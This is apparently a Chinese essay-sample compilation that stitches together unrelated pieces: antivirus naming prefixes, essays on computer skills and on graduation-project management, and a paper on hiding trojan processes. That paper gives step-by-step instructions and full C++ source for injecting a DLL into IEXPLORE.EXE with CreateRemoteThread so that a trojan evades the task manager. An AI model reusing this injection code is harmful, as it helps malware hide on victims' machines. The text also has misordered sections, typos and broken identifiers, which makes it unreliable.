      (一)木馬病毒、黑客病毒木馬病毒其前綴是:Trojan,黑客病毒前綴名一般為Hack。木馬病毒的公有特性是通過網(wǎng)絡或者系統(tǒng)漏洞進入用戶的系統(tǒng)并隱藏,然后向外界泄露用戶的信息,而黑客病毒則有一個可視的界面,能對用戶的電腦進行遠程控制。木馬、黑客病毒往往是成對出現(xiàn)的,即木馬病毒負責侵入用戶的電腦,而黑客病毒則會通過該木馬病毒來進行控制?,F(xiàn)在這兩種類型都越來越趨向于整合了。一般的木馬如QQ消息尾巴木馬Trojan.QQ3344,有大家可能遇見比較多的針對網(wǎng)絡游戲的木馬病毒如Trojan.LMir.PSW.60。這里補充一點,病毒名中有PSW或者什么PWD之類的一般都表示這個病毒有盜取密碼的功能(這些字母一般都為密碼的英文password的縮寫)一些黑客程序如:網(wǎng)絡梟雄(Hack.Nether.C1ient)等。

      (二)宏病毒其實宏病毒是也是腳本病毒的一種,由于它的特殊性,因此在這里單獨算成一類。宏病毒的前綴是:Macro,第二前綴是:Word、Word97、Excel、Excet97(也許還有別的)其中之一。凡是只感染W(wǎng)ORD97及以前版本W(wǎng)ORD文檔的病毒采用Word97作為第二前綴,格式是:Macro.Word97;凡是只感染W(wǎng)ORD97以后版本W(wǎng)ORD文檔的病毒采用Word作為第二前綴,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文檔的病毒采用Excel97作為第二前綴,格式是:

      (三)腳本病毒腳本病毒的前綴是:Script。腳本病毒的公有特性是使用腳本語言編寫,通過網(wǎng)頁進行的傳播的病毒,如紅色代碼(Script.Redlof)可不是我們的老大代碼兄哦。腳本病毒還會有如下前綴:VBS、js(表明是何種腳本編寫的),如歡樂時光(VBS.Happytime)、十四日(Js.Fortnight.C.S)等。推薦閱讀:遠程開放教育軟件工程專業(yè)畢業(yè)論文

      Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文檔的病毒采用Excel作為第二前綴,格式是:Macro.Excel,依此類推。

      (四)后門病毒后門病毒的前綴是:Backdoor。該類病毒的公有特性是通過網(wǎng)絡傳播,給系統(tǒng)開后門,給用戶電腦帶來安全隱患。如很多朋友遇到過的IRC后f]Backdoor.IRCBot。

      (五)破壞性程序病毒破壞性程序病毒的前綴是:Harm。這類病毒的公有特性是本身具有好看的圖標來誘惑用戶點擊,當用戶點擊這類病毒時,病毒便會直接對用戶計算機產(chǎn)生破壞。如:格式化c盤(Harm.formatC.f)、殺手命令(Harm.Command.Killer)等。

      篇8

      1.1 計算機知識儲備量不足

      目前,各高校都開設有計算機課程,但仍不能滿足本科畢業(yè)論文實踐的需求。對于本科畢業(yè)論文,主要會用到Office辦公軟件中的Word、Excel、PowerPoint(PPT,Internet文獻數(shù)據(jù)庫,以及文獻管理軟件等。雖然各高校一般都開設有計算機基礎類課程,介紹MicrosoftWindows、Office軟件、Internet的使用,但所授內(nèi)容還不能滿足本科畢業(yè)論文實踐的需要。在畢業(yè)論文寫作時,畢業(yè)生往往感到Word文檔的編排非常的麻煩,需要花費相當?shù)木蜁r間,也給指導老師增添了不少指導負擔。同樣,Excel、PowerPoint、Internet的使用也不盡如人意。除此之外,還有部分軟件知識在已有課程中完全沒有涉及,如文獻管理軟件的使用等。

      1.2 計算機硬件設施不足

      計算機資源不足嚴重影響畢業(yè)論文的撰寫。學生可利用的計算機資源主要有三種:自有計算機,學校計算機,網(wǎng)吧計算機。對自有計算機而言,雖有調查表明大學生電腦的擁有率已達到50%左右,但對于大多數(shù)來自農(nóng)村的大學生而言,他們的電腦擁有率依然很低。對學校計算機而言,雖然各學校都建立有計算機房,但相比于龐大的學生群體,學校計算機依然不能滿足學生需求,而且學校計算機主要用于教學使用,學生的使用有時間限制。在這種情況下,許多學生不得不求助于網(wǎng)吧,而網(wǎng)吧一般不安裝OFFICE辦公軟件,更不會安裝如AutoCAD這種專業(yè)軟件,也無法訪問學校圖書館數(shù)據(jù)庫。與此同時,畢業(yè)論文的撰寫時間比較集中,往往在一兩個月內(nèi)完成,特別是臨近答辯的幾天里,幾千畢業(yè)生需要計算機修訂論文,計算機的緊張程度可想而知。因而,學生在畢業(yè)論文撰寫過程中,常遇到?jīng)]有計算機可以使用的情況。

      1.3 計算機使用缺乏指導

      學生進行計算機操作時,缺乏足夠的指導。由于高校擴招,學生數(shù)量急劇增大而教師數(shù)量增加緩慢,導致師生比偏高,嚴重影響教學質量。作為公共基礎課程,幾千名學生的教學工作,往往由十多名教師來完成,師生比甚至高達1:250,很難說學生可以充分得到教師的指導在畢業(yè)論文進行階段,也同樣遇到師生比過高的問題,經(jīng)常遇到一個老師同時指導十幾名學生的現(xiàn)象,教師指導任務重,很難保證指導質量。

      2.本科畢業(yè)論文實踐中計算機應用需求

      2.1 WORD大型文檔編排

      畢業(yè)論文是一種較長的文檔,編排難度相對較大般而言,畢業(yè)論文字數(shù)要求5000字以上,頁數(shù)一般在10頁以上,編排的版式幾乎與出版社正規(guī)出版的書籍類似。這對于平時很少利用Word軟件的學生而言,具有很大的難度,需要重新學習Word的編排技巧。在論文寫作過程中,也容易出現(xiàn)論文排版上的各種問題。

      目前,文檔編排軟件很多,但一般采用Mi-crosoftWord完成.對于Word排版問題,應著重解決以下幾方面的問題:①頁面設置;②文字格式的設置;③樣式的應用;④分節(jié)的設置;⑤頁眉頁腳的設置;⑥圖表的繪制;⑦公式的錄入;⑧自動生成目錄。

      2.2 Excel表、圖與統(tǒng)計分析

      對于大多數(shù)的畢業(yè)論文,都會涉及插入圖表,以及數(shù)據(jù)的統(tǒng)計分析。除文科類論文較少涉及圖表知識外,理工科、農(nóng)科、醫(yī)學等學科的大部分畢業(yè)論文,都會涉及圖表的制作以及數(shù)據(jù)的統(tǒng)計分析。在畢業(yè)論文寫作過程中,部分學生對圖表的制作很是陌生,甚至不知道標準的圖表要求是什么,因而做出來的圖表不僅不美觀,而且也不符合要求。Excel還具有統(tǒng)計分析功能,不僅方便快捷,而且準確可靠,但不少同學不知道Excel具有統(tǒng)計學功能,更不會使用。他們往往采用手算的方法來進行統(tǒng)計分析,耗時耗力,而且還容易出錯。

      圖表與統(tǒng)計分析,不僅可以采用Excel,也可以采用更為專業(yè)的軟件,如Origin制圖、Sigmaplot制圖、SAS統(tǒng)計分析、SPSS統(tǒng)計分析等,但以Excel更為方便。對于Execl圖表與統(tǒng)計,應著重解決以下幾方面的問題:①Excel表格的制作(特別是三線表的制作);②Excel圖表的制作;③Excel函數(shù)與公式;④Excel統(tǒng)計分析工具。除此之外,也可以介紹Origin、Sigmaplot、SAS、SPSS等軟件的使用。

      文檔演示畢業(yè)論文答辯時,_般采用PPT展示其研究課題。答辯過程主要包含兩部分,學生陳述和老師提問。學生的自主陳述過程,不僅需要其精彩的陳述,更需要映襯陳述的多媒體展示。目前,大多數(shù)學生往往直接將論文內(nèi)容粘貼到PPT當中,卻不知如何精簡和美化,結果導致PPT臃腫,條理不清晰,沒有層次感。導致這一情況的直接原因就是學生缺乏PPT制作的技巧。

      對于PPT的制作,應著重解決以下幾方面的問題:①整體結構設計;②頁面布局設計;③色彩搭配設計;④演講內(nèi)容提煉;⑤媒體元素設置;⑥動態(tài)效果設置;⑦播放策略。

      2.4 INTERNET文獻檢索

      Internet是獲取科技信息非常方便的渠道。畢業(yè)論文的實踐不是閉門造車,而是他人研究成果的繼續(xù)。因而在研究之前需要查閱大量的文獻。文獻資料主要分為兩種資料:文本資料和電子資料。大部分的研究成果是以期刊論文、會議報告、學位論文等形式最先展示出來的,而這部分資料目前基本都被相關數(shù)據(jù)庫所收錄,存儲在數(shù)據(jù)服務器上。利用互聯(lián)網(wǎng)技術,可以非常方便地查閱到所需要的資料。

      對于Internet文獻檢索,應著重解決以下幾方面的問題:①主要中文期刊數(shù)據(jù)庫;②主要英文期刊數(shù)據(jù)庫;③其它類型數(shù)據(jù)庫(如:電子圖書、電子報紙、會議論文、學位論文、標準、專利等);④檢索策略;⑤檢索技巧。

      2.5 ENDNOTE文獻管理

      在畢業(yè)論文撰寫過程中,根據(jù)撰寫需要,要對參考文獻進行插入、移動、刪除等各種管理操作。本科畢業(yè)論文的參考文獻數(shù)量一般在20篇左右,而研究生畢業(yè)論文的參考文獻數(shù)量可達100篇以上,對于如此多的文獻,如果采用人工管理的方式,不僅工作量巨大,而且非常容易出錯。通過專業(yè)的文獻管理軟件,可以非常方便地對參考文獻進行處理。文獻管理類軟件有多種,如:醫(yī)學文獻王、風^-express、Endnote、Referencemanager、Notefirst等。不同軟件有自己的特點和優(yōu)勢,重點推薦Endnote文獻管理軟件,當然像Notefrst這種推出時間較短的國內(nèi)免費軟件,也有不錯的口碑。

      以Endnote文獻管理軟件為例,應著重解決以下幾方面問題:①參考文獻格式標準;②創(chuàng)建End-note圖書館;③文獻信息錄入;④Word中使用文獻格式模板設置;⑥高級應用。

      3.本科畢業(yè)論文實踐中的計算機應用指導

      3.1 加強計算機教育課程建設

      通過調整課程設置和課程內(nèi)容,引入相關計算機教育內(nèi)容。同時,提高教學質量和水平,加強學生計算機實踐能力的培養(yǎng)。在《計算機基礎》課程中,要將Office辦公軟件引入到課程中,并要達到一定的應用水準。在《試驗設計與統(tǒng)計分析》課程中,可以引入Excel和SAS等軟件知識。在《文獻檢索》課程中,可以引入Internet的使用,數(shù)據(jù)庫查詢和Endnote軟件等知識。在其它專業(yè)課程中,凡涉及到計算機內(nèi)容的,也要盡可能進行上機訓練,提高計算機應用能力。

      3.2 加強計算機專業(yè)知識講座

      通過專題講座的形式,講解畢業(yè)論文實踐過程中所使用的軟件知識。在畢業(yè)論文撰寫期間,可以通過專題講座,具有針對性地進行輔導。因此,學生可以及時的了解相關知識,并立即加以應用。除了現(xiàn)場的講座形式外,還可以利用網(wǎng)絡的優(yōu)勢,建立網(wǎng)上學習平臺,將學習資源放在網(wǎng)絡上,學生可以隨時查詢相關計算機應用知識。

      3.3 加強計算機硬件建設

      加大計算機硬件設施的投入力度,優(yōu)化計算機機房管理,提高計算機利用效率。根據(jù)學校人數(shù)和計算機使用的實際情況,合理投入資金進行計算機房的建設,增加計算機的臺套數(shù)。其次,制定合理的管理措施,適當延長計算機房的使用時間,提高計算機房的利用效率,減少計算機的非學習性占用。

      3.4 加強指導老師的指導職責

      制定畢業(yè)論文指導教師的考核體系,強化指導教師的責任意識,督促教師加強對學生的指導。從學校和學院兩個層次,學校層次要做好畢業(yè)論文指導的全面工作,同時要對計算機應用指導工作提出明確統(tǒng)_的要求,學院則有必要對學校的規(guī)定做出具體的安排和實施辦法。

      篇9

      畢業(yè)設計是所有工科人才培養(yǎng)方案中規(guī)定的重要實踐性教學環(huán)節(jié),高等職業(yè)技術學院也不例外。通過該環(huán)節(jié)的教學使學生能夠綜合運用所學理論知識分析、解決實際工程問題,初步掌握設計的一般流程和方法,在設計態(tài)度、工程思想、實踐能力等方面得到系統(tǒng)的鍛煉和提高,為步入工作崗位打下良好的基礎。畢業(yè)設計的質量在一定程度上反映了學生的專業(yè)知識水平、工程素質以及綜合運用各種知識的能力;也在一定程度上體現(xiàn)了指導教師的治學態(tài)度、學術水平和指導設計工作的能力;同時也從一個側面表明了學校的教學質量和管理水平[1].尤其對于工科學生而言,畢業(yè)設計是他們走上工作崗位前的一次預演,應該引起足夠的重視

       

      1.當前高等職業(yè)技術學院畢業(yè)設計(論文)存在的問題

       

      1.1 學生思想重視不夠, 投入精力不足

       

      由于目前就業(yè)形勢嚴峻, 一部分學生忙于參加各種各樣的招聘會和公司面試, 在畢業(yè)設計環(huán)節(jié)上投入精力甚微。畢業(yè)設計的時間與實習、頂崗或長升本(接本)時間重合,在兩者不可兼顧的情況下, 多數(shù)學生都選擇了工作或接本為主, 而不是做畢業(yè)設計。

       

      1.2 選題不恰當

       

      選題恰當是做好畢業(yè)設計( 論文) 的前提, 我院制訂的"無錫商業(yè)職業(yè)技術學院物聯(lián)網(wǎng)技術學院??粕厴I(yè)設計( 論文) 工作的若干規(guī)定"規(guī)定了選題的基本原則。

       

      盡管如此, 但是選題不當?shù)那闆r仍然時有發(fā)生, 表現(xiàn)在:(1) 論文題目大多由指導教師給定,學生并不感興趣, 因此更談不上對題目的意義有比較深入的思考; (2) 論文題目與學生的發(fā)展方向不一致。例如有的學生是軟件方向的, 但指導教師指定的題目卻是硬件方向的等等, 對于所用到的一些技術學生知之甚少; (3) 論文選題陳舊,圖書管理系統(tǒng)題、學生管理系統(tǒng)等類似的題已經(jīng)做了多少年了, 每年都在做, 又沒有發(fā)展, 毫無創(chuàng)新性可言; (4) 選題脫離社會實踐, 所使用的技術屬于基本已經(jīng)淘汰的技術, 對學生綜合能力培養(yǎng)的幫助不大;

       

      1.3 指導教師缺乏經(jīng)驗, 指導強度大

       

      由于計算機專業(yè)發(fā)展比較晚, 具有豐富項目實踐經(jīng)驗的老教師十分稀缺。而隨著近幾年計算機專業(yè)擴招, 高校引入了大批的年輕的畢業(yè)生充實教師隊伍, 這些年輕教師本身充滿活力, 敢想敢干, 不足之處在于他們多是畢業(yè)后直接從事教學工作, 實際的工程項目實踐經(jīng)驗不足, 而計算機專業(yè)本身是一個實踐性要求很強的專業(yè), 沒有這些實踐體會, 就很難理解軟件開發(fā)過程、軟件技術如何應用到生產(chǎn)這些問題, 從而影響了畢業(yè)設計的質量;

       

      1.4 畢業(yè)設計過程缺乏監(jiān)督

       

      一般按慣例, 指導教師與學生之間每星期至少應見面兩次, 了解學生畢業(yè)設計的進展情況。然而由于受到學生找工作、升本(接本)等特殊情況的影響, 很難堅持下來。學生缺乏主動性, 不愿意主動找指導教師交流, 因此使得畢業(yè)設計的過程缺乏監(jiān)督。

       

      1.5 論文抄襲現(xiàn)象時有發(fā)生

       

      我校對論文抄襲現(xiàn)象處置甚嚴, 這也是對學生實事求是的科學態(tài)度和嚴肅認真的工作作風的培養(yǎng), 然而, 部分學生報著僥幸和偷懶心理, 往往將網(wǎng)絡上檢索到的多篇論文稍加修改, 重新組織加工, 從而就變成了自己的畢業(yè)論文。有的學生甚至一字不改, 原文照搬。

       

      總的說來,目前有的高等職業(yè)技術院校的畢業(yè)設計(論文)工作中的主要問題是少了一點“規(guī)矩”,即使有規(guī)矩也是“老規(guī)矩”。對隨著教育和教學改革的深化而出現(xiàn)的新情況遇到的新問題,缺乏深入的研究和及時的改革。

       

      2.畢業(yè)設計(論文)的定位

       

      計算機應用專業(yè)是一門綜合性非常高的學科,該專業(yè)軟件、硬件及系統(tǒng)的開發(fā)、應用、維護等工程領域,是一個縱向較深,橫向較廣的復合性、綜合性專業(yè)。畢業(yè)設計(論文)是學生綜合運用所學知識,分析、解決實際問題,培養(yǎng)獨立思考、獨立工作的能力,接受高等職業(yè)技術人員所必需能力的基本訓練的重要教學環(huán)節(jié)。畢業(yè)設計(論文)首先具有教學與教育功能,是實現(xiàn)專業(yè)培養(yǎng)目標,對學生進行設計科學教育,培養(yǎng)探求真理的科學精神,強化工程意識,進行工程基本訓練,提高學生科學研究能力、工程實踐能力、創(chuàng)新能力和經(jīng)濟意識的重要階段;是培養(yǎng)學生優(yōu)良思想品質,進行綜合素質教育的全面檢驗。其次,畢業(yè)設計(論文)成果具有直接或間接為經(jīng)濟建設服務,為生產(chǎn)、科研服務的社會功能。隨著教育和教學改革的深化,對人才培養(yǎng)模式的改革,專業(yè)的拓寬改造,對人才培養(yǎng)提出了新的更高要求,我們更應高度重視畢業(yè)設計(論文)的基本要求和質量評價,使學生更清楚地知道怎樣主動做好畢業(yè)設計(論文),使指導教師更清楚地知道如何對學生進行指導,使管理人員知道怎樣抓住實質問題管理到位,以保證畢業(yè)設計(論文)的質量。

       

      3.有關應對措施

       

      3.1 加強學生思想教育

       

      如何提高高校畢業(yè)設計的質量, 已成為一個日益引起教育界關注的話題。筆者陋見, 根本措施應當是加強學生教育, 使學生引起重視。其實多數(shù)高校和指導教師對于加強學生思想教育的重要性都深有體會, 但具體實施起來總覺得效果不如想象中好, 關鍵是在于“循循善誘”幾個字。筆者今年指導的幾個學生中, 也有個別學生對畢業(yè)設計重視不夠,設計時敷衍了事, 做好畢業(yè)設計,是為了對自己四年學習劃上一個圓滿的句號, 也是對個人責任心的一次考驗, 從而端正了態(tài)度, 主動性大大提高。

       

      3.2 在畢業(yè)設計之前做專題講座

       

      由于學生都是第一次參加畢業(yè)設計, 所以對如何進入狀態(tài), 開始畢業(yè)設計工作, 如何查閱資料, 如何分階段完成, 如何撰寫開題報告和畢業(yè)論文, 如何對畢業(yè)論文的章節(jié)規(guī)劃、內(nèi)容安排和格式規(guī)范等知識缺乏認識, 因此在畢業(yè)設計之前有必要做專門針對畢業(yè)設計如何開展的專題講座。

       

      3.3 選題是關鍵, 鼓勵學生到企業(yè)進行畢業(yè)設計

       

      選題是整個畢業(yè)設計(論文)的核心, 正確、恰當?shù)剡x題是做好畢業(yè)設計(論文)的前提, 應首先把好選題關。在我系首先原則上把一人一題作為選題工作的重要原則少數(shù)課題比較大時, 可以分成幾個小課題, 但必須保證每個學生都是單獨完成自己的課題,防止學生互相“幫忙”的發(fā)生。

       

      畢業(yè)設計(論文)題目需經(jīng)過教研室討論、教研室主任審核、系主任批準。對于一些過易、任務過輕或所使用的是一些過時技術的題, 堅決要求進行重選。通過這些做法,保證了畢業(yè)設計(論文)題目的質量, 學生也反映良好。

       

      開展學生畢業(yè)設計的一種新做法, 是讓學生到就業(yè)單位去做畢業(yè)設計, 利用企業(yè)的經(jīng)費、場地和技術力量, 完成企業(yè)需要的技術課題, 實行校企聯(lián)合指導方式。一方面, 可培養(yǎng)學生工程設計和科學研究能力及團隊合作精神, 使學生了解和掌握實際工程設計和科研的全過程;另一方面,工作單位的實際課題, 任務明確, 要求具體, 時間性強, 能激發(fā)學生的工作熱情和主動性, 增強學生的事業(yè)心和責任感。同時, 便于用人單位和學生較早互相了解, 有利于學生就業(yè)后盡早地進人工作角色。我系目前對于這種新的指導方式正進行嘗試和摸索,從目前的效果來看,很受學生和用人單位的歡迎。[2]

       

      3.4 過程管理很重要

       

      開題報告完成以后, 就進入了漫長的實際設計過程。要增強對學生的監(jiān)督和督促機制, 防止學生偷懶。其一,要增強指導教師的責任感;其二,可引入現(xiàn)在一些軟件公司常用的做法,要求學生寫周報,讓學生每周對自己畢業(yè)設計的工作進展, 取得的成果或碰到的困難做一次記錄。這樣既避免了學生臨時報佛腳,不做設計只寫論文的情況發(fā)生,又使學生的整個設計過程都有案可查, 增加了對畢業(yè)設計評分的合理性和公正性。[3]

       

      3.5 如何杜絕論文抄襲現(xiàn)象

       

      論文抄襲是學術界十分不齒的行為,應當給學生灌輸這種思想。學生大多都是第一次撰寫學術論文,一旦養(yǎng)成了抄襲的壞毛病,則日后對己對人都貽害無窮。一方面,應當將“對畢業(yè)論文抄襲進行嚴厲懲罰”寫入到畢業(yè)論文的要求規(guī)范當中去,一旦發(fā)現(xiàn),絕不姑息;另一方面,指導教師可通過耐心教導,擊潰學生的僥幸心理,讓學生明白,抄襲的論文是無所遁形的。

       

      3.6 改善評判學生畢業(yè)設計質量

       

      學生的畢業(yè)設計質量由兩部分來衡量:

       

      一是設計成果的質量, 包括軟件的功能、所采用的開發(fā)技術、人機界面等部分組成, 可通過現(xiàn)場演示和答辯來評分;

       

      二是畢業(yè)論文質量,根據(jù)課題完成情況和答辯情況由指導教師、評閱教師和答辯小組分別按畢業(yè)設計(論文)評閱、評審評分標準采用“結構分”進行評定,其中指導教師成績占30%,評閱教師成績占30%,答辯小組成績占 40%

       

      (1)指導教師評定成績

       

      根據(jù)指導教師評審評分標準從學生工作量、工作態(tài)度、技術方案、分析與解決問題的能力、設計(論文)質量、創(chuàng)新等方面進行評定。

       

      (2)評閱教師評閱成績

       

      根據(jù)省教育廳的有關文件精神,要求每位學生的畢業(yè)設計(論文)必須由兩位熟悉相應課題內(nèi)容的教師(可以是外聘教師)進行評閱,評閱評分標準從畢業(yè)設計(論文)內(nèi)容、學生工作水平以及論文撰寫規(guī)范共同確定,每位評閱教師必須單獨填寫評閱表。

       

      (3)答辯

       

      成績主要由答辯小組根據(jù)答辯評審評分標準從學生的報告內(nèi)容、報告過程、回答問題以及學生在畢業(yè)設計 (論文) 中的創(chuàng)新等方面進行評定。畢業(yè)設計(論文)成績按優(yōu)秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級分評定,其中優(yōu)秀比例控制在 20%以內(nèi)。[4]

       

      篇10

      關鍵字進程線程木馬動態(tài)鏈接庫

      木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。

      本文分析了WindowsNT/2000系統(tǒng)下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現(xiàn)WindowsNT/2000系統(tǒng)中進程的隱藏。

      1基本原理

      在WIN95/98中,只需要將進程注冊為系統(tǒng)服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關聯(lián)進程和SOCKET已經(jīng)成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發(fā)現(xiàn)木馬線程的存在,從而達到隱藏的目的。

      2實現(xiàn)方法

      為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現(xiàn)DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。

      運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術,動態(tài)嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內(nèi)存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。動態(tài)嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

      遠程線程技術指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋嘞蕖?/p>

      3實施步驟

      1)用Process32Next()函數(shù)找到宿主進程,獲取宿主進程ID,并用

      OpenProcess()函數(shù)打開宿主進程。

      2)用VirtualAllocEx()函數(shù)分配遠程進程地址空間中的

      內(nèi)存。

      3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

      4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。

      5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。

      6)用CreateRemoteThread()函數(shù)在遠程進程中創(chuàng)建一個線程。

      7)它調用正確的LoadlibraryA()函數(shù)。

      8)為它傳遞步驟二中分配的內(nèi)存地址。

      4具體實例

      下面是在C++Builder4.0環(huán)境下編寫的運用遠程線程技術隱藏木馬的程序代碼:

      #include<vcl.h>

      #include<windows.h>

      #include<stdio.h>

      #include<tlhelp32.h>//該頭文件包涵了進程操作的API函數(shù)

      #pragmahdrstop

      #include"Unit1.h"

      #pragmapackage(smart_init)

      #pragmaresource"*.dfm"

      InsistingpszLibFileName;//存放待隱藏的DLL文件名

      HANDLEhProcessSnap=NULL;//進程快照句柄

      HANDLEhRemoteProcess;//遠程進程句柄

      LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

      HMODULEphmd;//存放kernel32.dll句柄

      HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

      TForm1*Form1;

      //---------------------------------------------------------

      __fastcallTForm1::TForm1(TComponent*Owner)

      :TForm(Owner)

      {

      }

      //---------------------------------------------------------

      void__fastcallTForm1::Button1Click(TObject*Sender

      {

      PROCESSENTRY32pe32={0};

      DWORDdwRemoteProcessId;

      hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

      //打開進程快照

      if(hProcessSnap==(HANDLE)-1)

      {

      MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

      exit(0);

      }//失敗返回

      pe32.dwSize=sizeof(PROCESSENTRY32);

      if(Process32Fi

      rst(hProcessSnap,&pe32))//獲取第一個進程

      {

      do{

      AnsiStringte;

      te=pe32.szExeFile;

      if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

      //找到宿主進程,以IEXPLORE.EXE為例

      {dwRemoteProcessId=pe32.th32ProcessID;

      break;

      }

      }

      while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

      }

      else

      {

      MessageBox(NULL,"取第一個進程失敗","",MB_OK);

      exit(0);

      }

      hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

      _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

      //打開遠程進程

      pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

      //假設hide.dll是待隱藏的進程

      intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

      pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

      MEM_COMMIT,PAGE_READWRITE);

      //申請存放文件名的空間

      BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

      pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

      //把dll文件名寫入申請的空間

      phmd=GetModuleHandle("kernel32.dll");

      LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

      GetProcAddress(phmd,"LoadLibraryA");

      //獲取動態(tài)鏈接庫函數(shù)地址

      hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

      pfnStartAddr,pszLibFileRemote,0,NULL);

      //創(chuàng)建遠程線

      if(hRemoteThread1!=NULL)

      CloseHandle(hRemoteThread1);//關閉遠程線程

      if(hProcessSnap!=NULL)

      CloseHandle(hProcessSnap);//關閉進程快照

      }

      該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

      至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:

      nclude<vcl.h>

      #include<windows.h>

      #pragmahdrstop

      #pragmaargsused

      BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

      {

      charszProcessId[64];

      switch(reason)

      {

      caseDLL_PROCESS_ATTACH:

      {//獲取當前進程ID

      itoa(GetCurrentProcessId(),szProcessId,10);

      MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

      break;

      }

      default:

      }

      returnTRUE;

      }

      當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具

      也能看到:

      ProcessID:1208

      C:\WINNT\IEXPLORE.EXE(0x00400000)

      ……

      C:\WINNT\hide.dll(0x100000000)

      ……

      這證明hide.dll已經(jīng)在IEXPLORE.EXE進程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

      5結束語

      進程隱藏技術和方法有很多,而且這一技術發(fā)展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。